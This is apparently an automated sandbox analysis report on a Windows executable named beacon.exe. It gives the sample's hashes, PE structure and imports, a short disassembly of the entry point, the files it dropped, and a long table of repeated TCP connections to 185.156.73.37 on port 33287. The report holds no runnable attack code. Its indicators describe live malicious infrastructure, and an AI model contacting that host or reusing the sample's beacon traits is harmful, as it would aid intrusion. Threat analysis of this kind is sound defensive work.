Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 23.211.6.115, 173.222.108.210, 173.222.108.226, 23.211.4.86, 20.82.210.154, 40.112.88.60, 80.67.82.235, 80.67.82.211, 20.50.102.62 Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, fs.microsoft.com, wu-shim.trafficmanager.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:56:48	API Interceptor	1531x Sleep call for process: beacon.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RELDAS-NETRU	zprxqb.exe	Get hash	malicious	Browse	92.63.194.3
RELDAS-NETRU	7S9ruhzhT5.exe	Get hash	malicious	Browse	92.63.194.20

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\beacon.exe
File Type:	Microsoft Cabinet archive data, 61156 bytes, 1 file
Category:	dropped
Size (bytes):	61156
Entropy (8bit):	7.995777164206378
Encrypted:	true
SSDEEP:	1536:QnktbzAsvtoyRC5FLNPj1tHqn+ZQgYXAMxCbGMRa0HMSeWAM6J:0ktH7toVNPj1Vi++xQFaM7siAJ
MD5:	392C95F4B10F4100D7286E3054CF0157
SHA1:	6CE671B4084D156FD87E2412B8AA36155F11D221
SHA-256:	6B3CFDC61B3D2B19D972299CE9C6CAD0804457152AA22E9FC5544C68FA139240
SHA-512:	82E1E076E10DB3FD8FEA92C6465F360602F57B56D578F1BF7708CE59D986BEE6291B21AAB43574DF61962687473834514575110B48AFCA1DA221FE84C6126AA2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........t.........SK\ .authroot.stl.<.U..5..CK..8T....c_.d....A.F....Y.M$[v.4.)%%...$).^...%..-QQ....L.2....u..g..;.{x...... .tA-...c.b..1.tY..o...t....ag`v.5...0.........r.......w.? O."l.,_...t.8Lkr..E.C..JxD...WWVRQ.03..q`.....x$....j...8C........n7R....,G...WVO<.....m.P..@.Wu.?. .V..`.Y...CDg./.s.\..t......Ieiu..D$g....8..(g..tj......,V)v/r.d.].xqX4.....s.....&6L?..+y-ps...e..B(.q._..aC.h....@~P .6CA.(d.F~...D.kA....\....`0..w... (.. .Q.....g.....)......z&.8r.....&..49r=.N...f.0.9`6.......3b.....:l.g.O.......Mqu.,...@.7Z..,....FS..;.....>.:".........k%.H.~......KEQ.V..p..Y.............q.c.0..V.T...Z..rT..I..d?\.TsI...hn1?.4N...~...................h,....y...0.X.jz.8.y,k).....>B..v.......9.\|&z$.+...Sl..F k....Js........ExFc.k.........Y........]..[.5..:...,kV?D....M........ZG..[....wZ.O...P=..u.t...Z.q...r.A?M..;..6..B9.(..!..\.:K`.....-\|'.3&.....;.t.I.h......1.....eC....^.7..P.u.L{.Ew.@"...d....^

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\beacon.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.141151177582249
Encrypted:	false
SSDEEP:	6:kK+/Kx3dN+SkQlPlEGYRMY9z+4KlDA3RUe+edlwzTW0:WKEkPlE99SNxAhUek60
MD5:	75FA278E5AC6E6EF5D4120F3A0936246
SHA1:	055957C9122009EDBF091CA6B22D26E0B696888E
SHA-256:	B10E2068B0905944957CD2B21F352842DD994ED59E6472B152BACB18C695D476
SHA-512:	5F3B4CB337C14DB74BAE0DD99A9D3179B27D4630F60E7A133790405C4BFCB5B5299F9A10BBC7F8AE98B7A94C67FD2E0E5E9B6E862E8AEEE71CDCBC7B9F5AC979
Malicious:	false
Reputation:	low
Preview:	p...... ...........@...(....................................................... ..........u.......(...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.a.0.9.e.7.5.c.d.9.2.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.488652151802491
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	beacon.exe
File size:	284672
MD5:	8d8d168e25d41e2d4304c08cb3105d9b
SHA1:	95b5faae967015333cf1a5e3849f437e4122a054
SHA256:	669fcafcaf217a0ae7776d1c98b6cbb4fd75fb97b12965185136a09c7bfc0ef2
SHA512:	ab02629b967e72ff6933cea470c84282b55fb59afc20e5a29b8a25f620477e8dee1858af30b592f421479def4ed309777d06ea9734bbaecd56eb87f95e8a213e
SSDEEP:	3072:KR15m+yOMvRli6eKU3jPmrOH4PXjel/51+YtwpxoqGZ21SQ1P9Kz:KR/z683jGoIjel/51+qmPD1SQJ9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......^.....................T...............0....@.................................S......... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x5EDED50C [Tue Jun 9 00:17:16 2020 UTC]
TLS Callbacks:	0x401950, 0x401900
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	dc25ee78e2ef4d36faa0badf1e7461c9

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [00447040h], 00000001h
call 00007FDF84A4FEA3h
add esp, 0Ch
jmp 00007FDF84A4E80Bh
lea esi, dword ptr [esi+00000000h]
sub esp, 0Ch
mov dword ptr [00447040h], 00000000h
call 00007FDF84A4FE83h
add esp, 0Ch
jmp 00007FDF84A4E7EBh
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [00445420h]
test eax, eax
je 00007FDF84A4EB8Eh
mov dword ptr [esp], 00446020h
call dword ptr [00448168h]
mov edx, 00000000h
sub esp, 04h
test eax, eax
je 00007FDF84A4EB68h
mov dword ptr [esp+04h], 0044602Eh
mov dword ptr [esp], eax
call dword ptr [0044816Ch]
sub esp, 08h
mov edx, eax
test edx, edx
je 00007FDF84A4EB5Bh
mov dword ptr [esp], 00445420h
call edx
leave
ret
lea esi, dword ptr [esi+00h]
push ebp
mov ebp, esp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
pop ebp
jmp eax
push ebp
mov ebp, esp
sub esp, 10h
mov edx, dword ptr [0040300Ch]
mov eax, dword ptr [ebp+08h]
test edx, edx
jle 00007FDF84A4EB72h
cmp dword ptr [00403010h], 00000000h
jle 00007FDF84A4EB69h
mov ecx, dword ptr [00000068h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x48000	0x6ec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a000	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48138	0xfc	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d44	0x1e00	False	0.552473958333	data	5.85555507789	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_CNT_CODE, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.data	0x3000	0x42424	0x42600	False	0.520870115348	data	6.48747543161	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.rdata	0x46000	0x2f4	0x400	False	0.4658203125	data	4.35483400198	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.bss	0x47000	0x45c	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.idata	0x48000	0x6ec	0x800	False	0.38427734375	data	4.60683621574	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.CRT	0x49000	0x34	0x200	False	0.06640625	data	0.249129902058	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.tls	0x4a000	0x20	0x200	False	0.05078125	dBase III DBT, version number 0, next free block index 4497433	0.22482003451	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, FreeLibrary, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, QueryPerformanceCounter, ReadFile, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__dllonexit, __getmainargs, __initenv, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _iob, _lock, _onexit, _unlock, _winmajor, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 3, 2021 10:56:48.889936924 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:48.922728062 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:48.922842026 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:48.947005987 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:48.979696989 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:48.980554104 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:48.980647087 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:49.013277054 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:49.013367891 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.008157969 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.041423082 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.041496992 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.074363947 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.074486971 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.078948021 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.112195015 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.112235069 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.112298012 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.112323046 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.148392916 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.148425102 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.181175947 CEST	33287	49699	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.181288004 CEST	49699	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.255938053 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.292515039 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.292668104 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.293181896 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.329256058 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.329405069 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.329498053 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.366055965 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.366451979 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.367011070 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.370997906 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.407198906 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.407603979 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.407624006 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.407793999 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.407850981 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.408329010 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.408353090 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.444991112 CEST	33287	49701	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.445291042 CEST	49701	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.523236036 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.556283951 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.556451082 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.557339907 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.590217113 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.590249062 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.590400934 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.623270988 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.623739004 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.624162912 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.628271103 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.662161112 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.662767887 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.662801981 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.662992954 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.663336992 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.663369894 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.730312109 CEST	33287	49702	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.730385065 CEST	49702	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.772090912 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.807266951 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.808007002 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.808049917 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.842219114 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.842834949 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.843302011 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.877419949 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.880805969 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.880844116 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.884738922 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.918988943 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.919159889 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.919195890 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.919471979 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.919857025 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.919903040 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:50.953711987 CEST	33287	49703	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:50.954714060 CEST	49703	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.037000895 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.070321083 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.070518970 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.072515011 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.105844975 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.105894089 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.107196093 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.140391111 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.142374039 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.142754078 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.147002935 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.180120945 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.180613041 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.180641890 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.180715084 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.180740118 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.181176901 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.181216002 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.214149952 CEST	33287	49704	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.214370012 CEST	49704	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.286945105 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.323918104 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.324054003 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.324574947 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.360619068 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.360822916 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.360925913 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.397253990 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.397317886 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.398049116 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.401689053 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.437783957 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.438146114 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.438164949 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.438219070 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.438246012 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.438654900 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.438687086 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.474663973 CEST	33287	49705	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.474734068 CEST	49705	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.552645922 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.585702896 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.585798979 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.586606026 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.619740009 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.619787931 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.619884014 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.652836084 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.652966022 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.653765917 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.657916069 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.690859079 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.691382885 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.691401005 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.691471100 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.691495895 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.692552090 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.692593098 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.725497961 CEST	33287	49706	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.725575924 CEST	49706	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.811115026 CEST	49707	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.844535112 CEST	33287	49707	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.844656944 CEST	49707	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.845670938 CEST	49707	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:56:51.878814936 CEST	33287	49707	185.156.73.37	192.168.2.5
Sep 3, 2021 10:56:51.878854036 CEST	33287	49707	185.156.73.37	192.168.2.5
